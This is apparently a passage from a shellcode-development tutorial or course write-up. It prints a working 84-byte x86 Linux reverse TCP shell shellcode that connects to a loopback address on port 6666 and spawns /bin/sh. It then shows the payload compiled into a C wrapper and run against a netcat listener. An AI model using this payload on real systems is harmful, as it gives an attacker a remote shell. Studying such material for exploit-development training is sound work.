2.E. Converting shellcode to C

Let’s convert the code for compilation in a C file:

Get shellcode

$ ../convert_bin_sc.sh rev_tcp_initial_nonull-opt
"\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x92\x43\x68\x7f\x01\x01\x01\x66\x68\xe5\xf5\x66\x5f\x66\x83\xf7\xff\x66\x57\x66\x53\x89\xe1\x43\xb0\x66\x6a\x10\x51\x52\x89\xe1\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xf1\x87\xd6\xcd\x80"

Put shellcode in C file template and compile:

$ cp ../sc_template_c.c rev_tcp_initial_nonull-opt-c.c
$ vim rev_tcp_initial_nonull-opt-c.c
$ ../compile_c.sh rev_tcp_initial_nonull-opt-c
[+] Compiling ... 
[+] Done!

Run shellcode while listening with netcat on port 6666

Letting a netcat instance listen on TCP 6666 and running the binary for a reverse shell, the shellcode appears to be 84 bytes.

$ ./rev_tcp_initial_nonull-opt-c 
Shellcode Length:  84